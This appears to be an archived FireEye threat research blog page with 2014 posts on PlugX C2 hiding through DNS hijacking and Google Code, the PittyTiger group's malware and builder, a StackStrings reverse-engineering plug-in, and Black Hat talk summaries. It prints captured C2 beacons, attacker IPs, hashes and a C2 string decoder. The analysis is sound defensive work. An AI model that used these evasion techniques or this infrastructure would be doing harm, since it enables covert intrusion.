Category Archives: Threat Research

Technical posts by the FireEye Labs team

Black Hat USA Talks: Investigating PowerShell Attacks

| By | Threat Research |
Comments
0

Threat actors are always eager to adopt new tools, tactics, and procedures that can help them evade detection and conduct their mission. Incident responders from Mandiant have observed increasing use of PowerShell by targeted attackers to conduct command-and-control in compromised Windows networks. As a trusted administration tool built-in to all modern versions of Windows, PowerShell provides the ability to access remote systems, execute commands, transfer files, load malicious code, and interact with underlying components of the operating system – all tasks for which attackers must otherwise rely on malware. This has created a whole new playground of intrusion techniques for intruders that have already established a foothold on systems in a corporate network.

Ryan Kazanciyan and Matt Hastings will talk about the use of PowerShell throughout the attack lifecycle and the sources of evidence it leaves behind in memory, on disk, in logs, and elsewhere. They will demonstrate how to collect and interpret these forensic artifacts, both on individual systems and at scale. Throughout the presentation, they will include examples from real-world incidents.

Attend this presentation on August 7 at 4:05pm PT in South Seas GH. Make sure to use #BHUSA and @FireEye if you plan to tweet highlights from the talk.

To view the whitepaper, click here.

Black Hat USA Talks: Sidewinder Targeted Attack Against Android in The Golden Age of Ad Libs

| By | Advanced Malware, Threat Research |
Comments
0

While Google Play has little malware, many vulnerabilities exist in the apps as well as the Android system itself, and aggressive ad libs leak a lot of user privacy information. When they are combined together, more powerful targeted attacks can be conducted.

In this presentation, FireEye’s Yulong Zhang and Tao Wei will present one practical case of such attacks called “Sidewinder Targeted Attack.” It targets victims by intercepting location information reported from ad libs, which can be used to locate targeted areas such as a CEO’s office or some specific conference rooms. When the target is identified, “Sidewinder Targeted Attack” exploits popular vulnerabilities in ad libs, such as Javascript-binding-over-HTTP or dynamic-loading-over-HTTP, etc.

During the exploit, it is a well-known challenge to call Android services from injected native code due to the lack of Android application context. So they will also demonstrate how attackers can invoke Android services such as taking photos, calling phone numbers, sending SMS, reading/writing the clipboard, etc. Once intruding into the target, the attackers can exploit several Android vulnerabilities to get valuable privacy information or initiate more advanced attacks. We will reveal how to exploit new vulnerabilities we discovered in this phase.

In addition, they will show demos using real-world apps downloaded from Google Play.

Although they notified Google, ad vendors and app developers about related issues half a year ago, there are still millions of users under the threat of “Sidewinder Targeted Attacks” due to the slow patching/upgrading/fragmentation of the Android ecosystem.

Attend this presentation on August 7 at 10:15am PT in South Seas GH. Make sure to use #BHUSA and @FireEye if you plan to tweet highlights from the talk.

To view the whitepaper, click here.

Black Hat USA Talks - Leviathan: Command And Control Communications On Planet Earth

| By | Targeted Attack, Threat Research |
Comments
0

Every day, computer network attackers leverage a Leviathan of compromised infrastructure, based in every corner of the globe, to play hide-and-seek with network security, law enforcement, and counterintelligence personnel.

This presentation draws a new map of Planet Earth, based not on traditional parameters, but on hacker command and control (C2) communications. The primary data points used in this worldwide cyber survey are more than 30 million malware callbacks to over 200 countries and territories over an 18-month period, from January 2013 to June 2014.

First, this talk covers the techniques that hackers use to communicate with compromised infrastructure across the globe. The authors analyze the domains, protocols, ports, and websites used for malicious C2. They explain how covert C2 works, and how attackers keep their communications hidden from network security personnel.

Second, this talk looks at strategic impact. The authors examine relationships between the targeted industries and countries and the first-stage malware servers communicating with them. Traffic analysis is used to deduce important relationships, patterns, and trends in the data. This section correlates C2 communications to traditional geopolitical conflicts and considers whether computer network activity can be used to predict real world events.

In conclusion, the authors consider the future of this Leviathan, including whether governments can subdue it – and whether they would even want to.

Attend this presentation on August 7 at 10:15am PT in South Seas GH. Make sure to use #BHUSA and @FireEye if you plan to tweet highlights from the talk.

To view the whitepaper, click here.

Operation Poisoned Hurricane

| By , and | Targeted Attack, Threat Research |
Comments
0

Introduction

Our worldwide sensor network provides researchers at FireEye Labs with unique opportunities to detect innovative tactics employed by malicious actors and protects our clients from these tactics. We recently uncovered a coordinated campaign targeting Internet infrastructure providers, a media organization, a financial services company, and an Asian government organization. The actor responsible for this campaign utilized legitimate digital certificates to sign their tools and employed innovative techniques to cloak their command and control traffic.

Hurricane Electric Redirection

In March of 2014, we detected Kaba (aka PlugX or SOGU) callback traffic to legitimate domains and IP addresses. Our initial conclusion was that this traffic was the result of malicious actors ‘sleeping’ their implants, by pointing their command and control domains at legitimate IP addresses. As this is a popular technique, we did not think much of this traffic at the time.

Further analysis revealed that the HTTP headers of the traffic in question contained a Host: entry for legitimate domains. As we have previously observed malware families that forge their HTTP headers to include legitimate domains in callback traffic, we concluded that the malware in this case was configured in the same way.

An example of the observed traffic is as follows:

POST /C542BB084F927229348B2A34 HTTP/1.1
Accept: */*
CG100: 0
CG103: 0
CG107: 61456
CG108: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)
Host: www.adobe.com
Content-Length: 0
Cache-Control: no-cache

As we continued to see this odd traffic throughout the summer we began a search for malware samples responsible for this behavior. Via this research, we found a malware sample that we believe was responsible for at least some of the strange traffic that we had observed. The identified sample had the following properties:

MD5: 52d2d1ab9b84303a585fb81e927b9e01
Size: 180296
Compile Time: 2013-10-15 05:17:37
Import Hash: b29eb78c7ec3f0e89bdd79e3f027c029
.rdata: d7b6e412ba892e9751f845432625bbb0
.text: ed0dd6825e3536d878f39009a7777edc
.data: 1bc25d2f0f3123bedea254ea7446dd50
.rsrc: 91484aa628cc64dc8eba867a8493c859
.reloc: f1df8fa77b5abb94563d5d97e5ccb8e2
RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9

This sample was signed with a legitimate digital certificate from the ‘Police Mutual Aid Association’. This certificate has a serial number of ‘06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10’.

Analysis of this Kaba sample revealed that it was configured to directly connect to both www.adobe.com and update.adobe.com. Obviously, this configuration does not make a lot of sense, as the actor would not be able to control their implants from anywhere on the Internet since they did not have direct control over these domains – unless the attackers were able to re-route traffic destined for these domains from specific victims. Indeed, further analysis of this Kaba variant revealed that it was also configured to use specific DNS resolvers. This sample was configured to resolve DNS lookups via Hurricane Electric’s nameservers of 216.218.130.2, 216.218.131.2, 216.218.132.2 and 216.66.1.2.

We found this interesting, so we investigated how these Hurricane Electric’s nameservers were configured. Subsequently, we found that anyone could register for a free account with Hurricane Electric’s hosted DNS service. Via this service, anyone with an account was able to register a zone and create A records for the registered zone and point those A records to any IP address they so desired. The dangerous aspect of this service is that anyone was able to hijack legitimate domains such as adobe.com. Although these nameservers are not recursors and were not designed to be queried directly by end users, they were returning results if queried directly for domains that were configured via Hurricane Electrics public DNS service. Furthermore, Hurricane Electric did not check if zones created by their users were already been registered or are otherwise legitimately owned by other parties.

As we continued this research, we identified 21 legitimate fully qualified domain names that had been hijacked via this technique by at least one APT actor. In addition to the adobe.com domain mentioned above, another one of the poisoned domains is www.outlook.com. A lookup of this domain via Google’s DNS resolvers returns expected results:

$ dig +short @8.8.8.8 www.outlook.com
www.outlook.com.glbdns2.microsoft.com.
www-nameast.outlook.com.
157.56.240.246
157.56.236.102
157.56.240.214
157.56.241.102
157.56.232.182
157.56.241.118
157.56.240.22

A quick lookup of these addresses reveal that Microsoft owns them:

157.56.240.246 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.236.102 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.240.214 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.241.102 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.232.182 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.241.118 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION
157.56.240.22 | 8075 | 157.56.0.0/16 | MICROSOFT-CORP-MSN-A | US | MICROSOFT.COM | MICROSOFT CORPORATION

However, as recently as August 4, 2014 a lookup of the same www.outlook.com domain via Hurricane Electric’s resolvers returned entirely different results[1]:

$ dig +short @216.218.130.2 www.outlook.com
59.125.42.167

$ dig +short @216.218.131.2 www.outlook.com
59.125.42.167

$ dig +short @216.218.132.2 www.outlook.com
59.125.42.167

$ dig +short @216.66.1.2 www.outlook.com
59.125.42.167

$ whois -h asn.shadowserver.org ‘origin 59.125.42.167′
3462 | 59.125.0.0/17 | HINET | TW | HINET.NET | DATA COMMUNICATION BUSINESS GROUP

Passive DNS research on the 59.125.42.167 IP address revealed that multiple APT actors have previously used this IP address.

IP Address Domain First Seen Last Seen
59.125.42.167 ml65556.gicp[.]net 2014-06-23 2014-07-23
59.125.42.167 wf.edsplan[.]com 2014-05-12 2014-05-14
59.125.42.167 gl.edsplan[.]com 2014-05-12 2014-05-14
59.125.42.167 unix.edsplan[.]com 2014-05-12 2014-05-14

Additional researched uncovered more Kaba samples that were configured to leverage Hurricane Electric’s public DNS resolvers. Another sample has the following properties:

MD5: eae0391e92a913e757ac78b14a6f079f
Size: 184304
Compile Time: 2013-11-26 17:39:25
Import Hash: f749528b1db6fe5aee61970813c7bc18
Text Entry: 558bec83ec1056ff7508ff1518b00010
.rdata: 747abda5b3cd3494f056ab4345a909e4
.text: 475c20b8abc972710941ad6659492047
.data: d461f8f7b3f35b7c6855add6ae59e806
.rsrc: b195f57cb5e605cb719469492d9fe717
.reloc: d6b23cb71f214d33e56cf8f6a10c0c10
RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9

This sample is signed with a recently expired digital certificate from ‘MOCOMSYS INC’. This certificate has a serial number of ‘03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80’.

This sample used Hurricane Electric’s public DNS resolvers to route traffic to the hijacked domains of www.adobe.com and update.adobe.com. We also noted that this sample was configured to connect directly to 59.125.42.168 – one IP address away from the IP that received traffic from the hijacked www.outlook.com domain.

Passive DNS research revealed that this IP hosted the same set of known APT domains listed above:

IP Address Domain First Seen Last Seen
59.125.42.168 ml65556.gicp[.]net 2014-04-23 2014-07-24
59.125.42.168 wf.edsplan[.]com 2014-04-23 2014-05-14
59.125.42.168 gl.edsplan[.]com 2014-05-04 2014-05-14
59.125.42.168 unix.edsplan[.]com 2014-05-04 2014-05-14

While this problem does not directly impact users of www.adobe.com, www.outlook.com, or users of the other affected domains, it should not be dismissed as inconsequential. Actors that adopt this tactic and obfuscate the destination of their traffic through localized DNS hijacks can significantly complicate the job of network defenders.

Via our sensor network, we observed the actor responsible for this activity conducting a focused campaign. We observed this actor target:

  • Multiple Internet Infrastructure Service Providers in Asia and the United States
  • A Media Organization based in the United States
  • A financial institution based in Asia
  • An Asian government organization

Google Code Command and Control

Furthermore, we also discovered this same actor conducting a parallel campaign that leveraged Google Code for command and control. On August 1, 2014 we observed a malicious self-extracting executable (aka sfxrar) file downloaded from 211.125.81.203. This file had the following properties:

MD5: 17bc9d2a640da75db6cbb66e5898feb1
Size: 282800 bytes

A valid certificate from ‘QTI INTERNATIONAL INC’ was used to sign this sfxrar. This certificate had a serial number of ‘2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9’. The sfxrar contained the following files:

File Size MD5
msi.dll 11680 029c8f56dd89ceeaf928c3148d13eba7
msi.dll.dat 115218 62834d2c967003ba5284663b61ac85b5
setup.exe 34424 d00b3169f45e74bb22a1cd684341b14a

Setup.exe is a legitimate executable from Kaspersky used to load the Kaba (aka PlugX) files – msi.dll and msi.dll.dat.

google-code17

These Kaba files are configured to connect to Google Code – specifically code.google.com/p/udom/. On August 1, this Google Code project contained the encoded command “DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS”.

def NewPlugx_C2_redir_decode(s):

rvalue = “”
for x in range(0, len(s), 2):
tmp0 = (ord(s[x+1]) - 0×41) << 4

rvalue += chr(ord(s[x]) + tmp0 - 0×41)
return rvalue

The command ‘DZKSGAAALLBACDCDCDOCBDCDCDOCCDADIDOCBDADDZJS’ decodes to 222.122.208.10. In a live environment, the Kaba implant would then connect to this IP address via UDP.

Further analysis of project at code.google.com/p/udom/ revealed the project owner, 0x916ftb691u, created a number of other projects. We decoded the commands hosted at these linked projects and found that they issued the following decoded commands:

112.175.143.22
59.125.42.167
153.121.57.213
61.82.71.10
202.181.133.169
61.78.32.139
61.78.32.148
202.181.133.216
59.125.42.168
119.205.217.104
222.122.208.10
112.175.143.16
222.122.208.9
27.122.13.204

It is likely that other yet to be discovered Kaba variants are configured to connect to these related Google Code projects and then redirect to this list of IP addresses.

Passive DNS analysis of these IP addresses revealed connections to the following known malicious infrastructure:

IP Address Domain First Seen Last Seen
27.122.13.204 bq.cppcp[.]com 2014-03-21 2014-05-08
112.175.143.16 uj.verisignss[.]com 2013-06-30 2013-08-13
112.175.143.16 www.verifyss[.]com 2013-06-30 2013-07-22
112.175.143.16 uj.byonds[.]com 2013-06-24 2013-07-22
112.175.143.16 uj.verifyss[.]com 2013-06-30 2013-07-22
59.125.42.168 ml65556.gicp[.]net 2014-04-23 2014-07-24
59.125.42.168 wf.edsplan[.]com 2014-04-23 2014-05-14
59.125.42.168 gl.edsplan[.]com 2014-05-04 2014-05-14
59.125.42.168 unix.edsplan[.]com 2014-05-04 2014-05-14
59.125.42.167 ml65556.gicp[.]net 2014-06-23 2014-07-23
59.125.42.167 wf.edsplan[.]com 2014-05-12 2014-05-14
59.125.42.167 gl.edsplan[.]com 2014-05-12 2014-05-14
59.125.42.167 unix.edsplan[.]com 2014-05-12 2014-05-14
61.78.32.148 door.nexoncorp[.]com 2014-04-30 2014-06-22
61.78.32.148 verisignss[.]com 2014-04-30 2014-06-22
61.78.32.148 th.nexoncorp[.]com 2014-04-30 2014-06-22
61.78.32.148 tw.verisignss[.]com 2014-04-30 2014-06-22
61.78.32.148 sd.nexoncorp[.]com 2014-04-30 2014-06-22
61.78.32.148 mail.nexoncorp[.]com 2014-04-30 2014-06-22
112.175.143.22 door.nexoncorp[.]com 2014-04-01 2014-04-30
112.175.143.22 th.nexoncorp[.]com 2014-04-01 2014-04-30
112.175.143.22 sd.nexoncorp[.]com 2014-04-01 2014-04-30
112.175.143.22 mail.nexoncorp[.]com 2014-04-01 2014-04-30
112.175.143.22 verisignss[.]com 2013-12-29 2014-04-30
112.175.143.22 tw.verisignss[.]com 2013-12-29 2014-04-30

Relationships Between Campaigns

As mentioned above the Kaba variant eae0391e92a913e757ac78b14a6f079f shared a common import hash of f749528b1db6fe5aee61970813c7bc18 with many of the samples listed in this post. This samples was to use Hurricane Electric’s nameservers as well as connect directly to the IP address 59.125.42.168.

Note that we identified the same C2 IP 59.125.42.168 via our analysis of the malicious Google Code projects. Specifically, the Google Project at code.google.com/p/tempzz/, which is linked to the project at code.google.com/p/udom/, issued an encoded command that decoded to 59.125.42.168.

We also identified another related Kaba variant that connected to code.google.com/p/updata-server. This variant had the following properties:

MD5: 50af349c69ae4dec74bc41c581b82459
Size: 180600 bytes
Compile Time: 2014-04-01 03:28:31
Import Hash: f749528b1db6fe5aee61970813c7bc18
.rdata: 103beeefae47caa0a5265541437b03a1
.text: e7c4c2445e76bac81125b2a47384d83f
.data: 5216d6e6834913c6cc75f40c8f70cff8
.rsrc: b195f57cb5e605cb719469492d9fe717
.reloc: f7d9d69b8d36fee5a63f78cbd3238414
RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9

This sample was signed with a valid digital certificate from ‘PIXELPLUS CO., LTD’ and had a serial number of ‘0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce’.

In addition to sharing the same Import hash of f749528b1db6fe5aee61970813c7bc18 seen in other samples listed throughout this post, 50af349c69ae4dec74bc41c581b82459 contained a RT_VERSION resource of 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9. This same RT_VERSION was used in a number of other related samples including:

MD5 C2 Uses Hurricane Electric
7e6c8992026a79c080f88103f6a69d2c h.cppcp[.]comu.cppcp[.]com NO
52d2d1ab9b84303a585fb81e927b9e01 www.adobe[.]comupdate.adobe[.]com YES
787c6cf3cb18feeabe4227ec6b19db01 ns.lovechapelumc[.]orgns1.lovechapelumc[.]org NO

20140803-Sogu-TTPs

Conclusion

These coordinated campaigns demonstrate that APT actors are determined to continue operations. As computer network defenders increase their capabilities to identify and block these campaigns by deploying more advanced detection technologies, threat actors will continue to adopt creative evasion techniques.

We observed the following evasion techniques in these campaigns:

    • The use of legitimate digital certificates to sign malware
    • The use of Hurricane Electrics public DNS resolvers to redirect command and control traffic
    • The use of Google Code to obfuscate the location of command and control servers

While none of these techniques are necessarily new, in combination, they are certainly both creative and have been observed to be effective. Although the resultant C2 traffic can be successfully detected and tracked, the fact that the malware appears to beacon to legitimate domains may lull defenders into a false sense of security. Network defenders should continue to study the evolution of advanced threat actors, as these adversaries will continue to evolve in pursuit of their designated objectives.

Related MD5s
17bc9d2a640da75db6cbb66e5898feb1
eae0391e92a913e757ac78b14a6f079f
434b539489c588db90574a64f9ce781f
7e6c8992026a79c080f88103f6a69d2c
52d2d1ab9b84303a585fb81e927b9e01
787c6cf3cb18feeabe4227ec6b19db01
50af349c69ae4dec74bc41c581b82459
d51050cf98cc723f0173d1c058c12721

Digital Certificates
MOCOMSYS INC, (03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80)
PIXELPLUS CO., LTD., (0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce)
Police Mutual Aid Association (06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10)
QTI INTERNATIONAL INC (2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9)
Ssangyong Motor Co. (1D 2B C8 46 D1 00 D8 FB 94 FA EA 4B 7B 5F D8 94)
jtc (72 B4 F5 66 7F 69 F5 43 21 A9 40 09 97 4C CC F8)

Footnotes
[1] As of August 4, 2014 Hurricane Electric was no longer returning answers for www.outlook.com or the other affected domains.
[2] This same encoding algorithm was previously described by Cassidian at http://blog.cassidiancybersecurity.com/post/2014/01/plugx-some-uncovered-points.html

Operation Arachnophobia: An Introduction

| By and | Threat Intelligence, Threat Research |
Comments
0

We recently had the opportunity to collaborate with ThreatConnect’s Intelligence Research Team (TCIRT) to conduct follow-up reporting on threat group activity that appears to originate from Pakistan. The TCIRT originally reported on this activity in August 2013 in their “Where There is Smoke, There is Fire” blog post. This post covered a threat group using malware and apparent lures that would be effective against Indian targets: an Indian Government Ministry of Defense pension memorandum and an apparent lure related to Sarabjit Singh, an Indian national who died in a Pakistani prison last year.

Our collaboration with ThreatConnect centered on technical analysis of the BITTERBUG malware family and other technical characteristics of the activity. ThreatConnect provided deep analysis of open source data to highlight interesting persona and organizational details. FireEye Labs analysts have also been tracking this group’s activities – identifying and tracking their custom malware family that we call BITTERBUG and their command and control (C2) servers.

The report was released today assessing new information on this group and identifying new factors that draw further suspicion to Pakistan as the probable origination point. From the earliest samples of BITTERBUG to its latest variants, we have observed changes that show movement away from specific debug paths to new, generic paths; a process that occurred following TCIRT’s original blog post.

The group appears to have remained active after the TCIRT blog post, using new BITTERBUG malware variants with the more-generic embedded file paths. During this same timeframe, we observed these variants packaged with various support components and using lures related to the December 2013 arrest of Indian diplomat Devyani Khobragade in the United States and the March 2014 disappearance of Malaysia Airlines flight 370 (cast in these ‘lure’ emails as a Pakistan-related hijacking). Though BITTERBUG deployment methods remained similar throughout, we also observed new deployment behaviors following the August blog post.

We encourage you to read the new paper here http://www.threatconnect.com/arachnophobia.

FLARE IDA Pro Script Series: Automatic Recovery of Constructed Strings in Malware

| By | Advanced Malware, Threat Research |
Comments
0

The FireEye Labs Advanced Reverse Engineering (FLARE) Team is dedicated to sharing knowledge and tools with the community. We started with the release of the FLARE On Challenge in early July where thousands of reverse engineers and security enthusiasts participated. Stay tuned for a write-up of the challenge solutions in an upcoming blog post.

This post is the start of a series where we look to aid other malware analysts in the field. Since IDA Pro is the most popular tool used by malware analysts, we’ll focus on releasing scripts and plug-ins to help make it an even more effective tool for fighting evil. In the past, at Mandiant we released scripts on GitHub and we’ll continue to do so at the following new location https://github.com/fireeye/flare-ida. This is where you will also find the plug-ins we released in the past: Shellcode Hashes and Struct Typer. We hope you find all these scripts as useful as we do.

Quick Challenge

Let’s start with a simple challenge. What two strings are printed when executing the disassembly shown in Figure 1?

figure1

Figure 1: Disassembly challenge

If you answered “Hello world\n” and “Hello there\n”, good job! If you didn’t see it then Figure 2 makes this more obvious. The bytes that make up the strings have been converted to characters and the local variables are converted to arrays to show buffer offsets.

Figure 2: Disassembly challenge with markup

Figure 2: Disassembly challenge with markup

Reverse engineers are likely more accustomed to strings that are a consecutive sequence of human-readable characters in the file, as shown in Figure 3. IDA generally does a good job of cross-referencing these strings in code as can be seen in Figure 4.

Figure 3: A simple string

Figure 3: A simple string

 

Figure 4: Using a simple string

Figure 4: Using a simple string

Manually constructed strings like in Figure 1 are often seen in malware. The bytes that make up the strings are stored within the actual instructions rather than a traditional consecutive sequence of bytes. Simple static analysis with tools such as strings cannot detect these strings. The code in Figure 5, used to create the challenge disassembly, shows how easy it is for a malware author to use this technique.

Figure 5: Challenge source code

Figure 5: Challenge source code

Automating the recovery of these strings during malware analysis is simple if the compiler follows a basic pattern. A quick examination of the disassembly in Figure 1 could lead you to write a script that searches for mov instructions that begin with the opcodes C6 45 and then extract the stack offset and character bytes. Modern compilers with optimizations enabled often complicate matters as they may:

  • Load frequently used characters in registers which are used to copy bytes into the buffer
  • Reuse a buffer for multiple strings
  • Construct the string out of order

Figure 6 shows the disassembly of the same source code that was compiled with optimizations enabled. This caused the compiler to load some of the frequently occurring characters in registers to reduce the size of the resulting assembly. Extra instructions are required to load the registers with a value like the 2-byte mov instruction at 0040115A, but using these registers requires only a 4-byte mov instruction like at 0040117D. The mov instructions that contain hard-coded byte values are 5-bytes, such as at 0040118F.

Figure 6: Compiler optimizations

Figure 6: Compiler optimizations

 

The StackStrings IDA Pro Plug-in

To help you defeat malware that contains these manually constructed strings we’re releasing an IDA Pro plug-in named StackStrings that is available at https://github.com/fireeye/flare-ida. The plug-in relies heavily on analysis by a Python library called Vivisect. Vivisect is a binary analysis framework frequently used to augment our analysis. StackStrings uses Vivisect’s analysis and emulation capabilities to track simple memory usage by the malware. The plug-in identifies memory writes to consecutive memory addresses of likely string data and then prints the strings and locations, and creates comments where the string is constructed. Figure 7 shows the result of running the above program with the plug-in.

Figure 7: StackStrings plug-in results

Figure 7: StackStrings plug-in results

 

While the plug-in is called StackStrings, its analysis is not just limited to the stack. It also tracks all memory segments accessed during Vivisect’s analysis, so manually constructed strings in global data are identified as well as shown in Figure 8.

Figure 8: Sample global string

Figure 8: Sample global string

Simple, manually constructed WCHAR strings are also identified by the plug-in as shown in Figure 9.

Figure 9: Sample WCHAR data

Figure 9: Sample WCHAR data

 

Installation

Download Vivisect from http://visi.kenshoto.com/viki/MainPage and add the package to your PYTHONPATH environment variable if you don’t already have it installed.

Clone the git repository at https://github.com/fireeye/flare-ida. The python\stackstring.py file is the IDA Python script that contains the plug-in logic. This can either be copied to your %IDADIR%\python directory, or it can be in any directory found in your PYTHONPATH. The plugins\stackstrings_plugin.py file must be copied to the %IDADIR%\plugins directory.

Test the installation by running the following Python commands within IDA Pro and ensure no error messages are produced:

Screen Shot 2014-08-01 at 1.06.24 PM

To run the plugin in IDA Pro go to Edit – Plugins – StackStrings or press Alt+0.

Known Limitations

The compiler may aggressively optimize memory and register usage when constructing strings. The worst-case scenario for recovering these strings occurs when a memory buffer is reused multiple times within a function, and if string construction spans multiple basic blocks. Figure 10 shows the construction of “Hello world\n” and “Hello there\n”. The plug-in attempts to deal with this by prompting the user by asking whether you want to use the basic-block aggregator or function aggregator. Often the basic-block level of memory aggregation is fine, but in this situation running the plug-in both ways provides additional results.

Figure 10: Two strings, one buffer, multiple basic blocks

Figure 10: Two strings, one buffer, multiple basic blocks

 

You’ll likely get some false positives due to how Vivisect initializes some data for its emulation. False positives should be obvious when reviewing results, as seen in Figure 11.

Figure 11: False positive due to memory initialization

Figure 11: False positive due to memory initialization

The plug-in aggressively checks for strings during aggregation steps, so you’ll likely get some false positives if the compiler sets null bytes in a stack buffer before the complete string is constructed.

The plug-in currently loads a separate Vivisect workspace for the same executable loaded in IDA. If you’ve manually loaded additional memory segments within your IDB file, Vivisect won’t be aware of that and won’t process those.

Vivisect’s analysis does not always exactly match that of IDA Pro, and differences in the way the stack pointer is tracked between the two programs may affect the reconstruction of stack strings.

If the malware is storing a binary string that is later decoded, even with a simple XOR mask, this plug-in likely won’t work.

The plug-in was originally written to analyze 32-bit x86 samples. It has worked on test 64-bit samples, but it hasn’t been extensively tested for that architecture.

Conclusion

StackStrings is just one of many internally developed tools we use on the FLARE team to speed up our analysis. We hope it will help speed up your analysis too. Stay tuned for our next post where we’ll release another tool to improve your malware analysis workflow.

Spy of the Tiger

| By and | Threat Intelligence |
Comments
0

A recent report documents a group of attackers known as “PittyTiger” that appears to have been active since at least 2011; however, they may have been operating as far back as 2008. We have been monitoring the activities of this group and believe they are operating from China.

This group leverages social engineering to deliver spearphishing emails, in a variety of languages including English, French and Chinese, and email phishing pages to their targets. The attackers use a variety of different malware and tools to maintain command and control (C2) and move laterally through their targets’ networks.

In a recent attack against a French company, the attackers sent simple, straightforward messages in English and French from free email addresses using names of actual employees of the targeted company.

pittytiger1

pittytiger2

We have also observed this group using a Yahoo! email phishing kit, with phishing pages for multiple regions and in multiple languages.

The malicious documents exploit vulnerable versions of Microsoft Office. The attackers used two different exploits CVE-2012-0158 and CVE-2014-1761.

The documents that exploit CVE-2012-0158 were built using a tool that leaves behind the metadata which indicates that the author is “Tran Duy Linh”. (This builder has been shared across multiple threat groups that are otherwise unconnected).

The documents that exploit CVE-2014-1761 contain metadata that matches malicious documents created by both the Jdoc builder and the Metasploit Framework, however, the exact builder tool used by the attackers remains unclear.

This threat group uses a first-stage malware known as Backdoor.APT.Pgift (aka Troj/ReRol.A), which is dropped via malicious documents and connects back to a C2 server. This malware communicates some information about the compromised computer; however, its primary function is to deliver the second-stage malware to the compromised computer.

Backdoor.APT.Pgift Builder

During our investigation, we discovered a builder used in conjunction with the Backdoor.APT.Pgift malware. This builder is used to create and test files placed on the C2 server.

pittytiger3

The builder creates three files:

  • 25dd831ae7d720998a3e3a8d205ab684 dr.asp
  • 4b89c31d1d7744bcf5049d582d35e717 Install-Dll.bat
  • e738286a0031621d50aeb5fc1d95d7a4 JHttpSrv.dll

The dr.asp file is placed on a web server, and malware on compromised systems will beacon to it. The file can retrieve the compromised host’s IP address and returns either a 32-bit or 64-bit second-stage executable depending on the compromised host’s environment.

pittytiger4

The Install-Dll.bat file simply installs JHttpSrv.dll by running the command:

  • regsrv jhttpsrv

The JHttpSrv.dll handles the incoming, encoded data from compromised hosts.

This data is written to a text file in a directory named “log” with the following format:

  • IP Address-YYYYMMDD-HHMMSS.[3 digits].txt

This data contains information about the compromised system including:

  • Hostname
  • Username
  • System Type (32-bin or 64-bit)
  • Operating System
  • Organization
  • Owner
  • Ports and Processes
  • Running Software
  • Installed Software
  • Network Configuration

Although this tool has some information-gathering capabilities, it is primarily a “downloader” designed to push second-stage malware to a compromised system.

Previous Attacks

pittytiger5

It appears the Backdoor.APT.Pgift malware was used in an earlier attack against a target in Taiwan. Although the email date shows September 2010, the actual email appears to have been sent in January 2014. The malicious attachment 中秋節酒品禮薈萃.doc (4c350726bb7773f0ac98bdd665ef93dc) exploits CVE-2012-0158 to drop f3b1a1c18c783c2e949e68f0dd047eae. The network communication is:

POST /pgift.asp HTTP/1.1
Content-Length: 9637
User-Agent: Mozilla/4.0 (compatible;)
Host: 113.10.221.196:8080
Connection: Keep-Alive
Cache-Control: no-cache

Although the malware is the same, this version uses the filename “pgift.asp” instead of “dr.asp.”

We have observed attacks against targets in Taiwan using phishing emails written in Traditional Chinese, and the repeated use of .tw domains as command and control servers may indicate an interest in Taiwan as well.

Malware

The PittyTiger group uses various other malware including:

  • Backdoor.APT.PittyTiger1.3 (aka CT RAT) – This malware is likely used as a second-stage backdoor. The behavior of this sample is similar to the “old” PittyTiger but is distinct. The attackers labeled it as PittyTiger v. 1.3 and use an interface that displays the system information associated with a compromised computer and provides the attacker with a remote shell. The attackers may be using this as second-stage malware.
  • Backdoor.APT.PittyTiger – This malware is the classic “PittyTiger” malware (PittyTigerV1.0) that was heavily used by this group in 2012-2013. This malware allows the attackers to use a remote shell, upload and download files and capture screenshots.
  • Backdoor.APT.Lurid (aka MM RAT / Troj/Goldsun-B) – This malware is a variant of the Enfal/Lurid malware used by a variety of different groups since at least 2006. This variant has the same functionality, but the file names have been changed. We have observed the Enfal/Lurid malware in use since 2011 and in conjunction with Backdoor.APT.Pgift as the payload of a malicious document used in spearphishing attacks. It also appears the attackers use this as second-stage malware.
  • Gh0st variants – A report by Cassidian Cyber Security reveals the attackers also use variants of Gh0st RAT, a well-known RAT used by a variety of attackers. These variants are known as Paladin RAT and Leo RAT.
  • PoisonIvy – This group also used the Poison Ivy malware during 2008-2009. We analyzed PoisonIvy samples that connect to domain names used by this group. The samples were compiled in 2008 and 2009 (one of the samples with a 2008 compile date was also submitted to Virustotal in 2008, leading us to believe the timestamps have not been altered).

The PittyTiger group uses a variety of malware to achieve their objectives. We have not observed these attackers using 0day exploits; rather, they appear to acquire access to builders that are more widely distributed that can be used to create malicious documents.

Acknowledgements

We would like to thank Alex Lanstein, Jen Kolde, Jonathan Wrolstad, Ned Moran and Thoufique Haq.

Samples

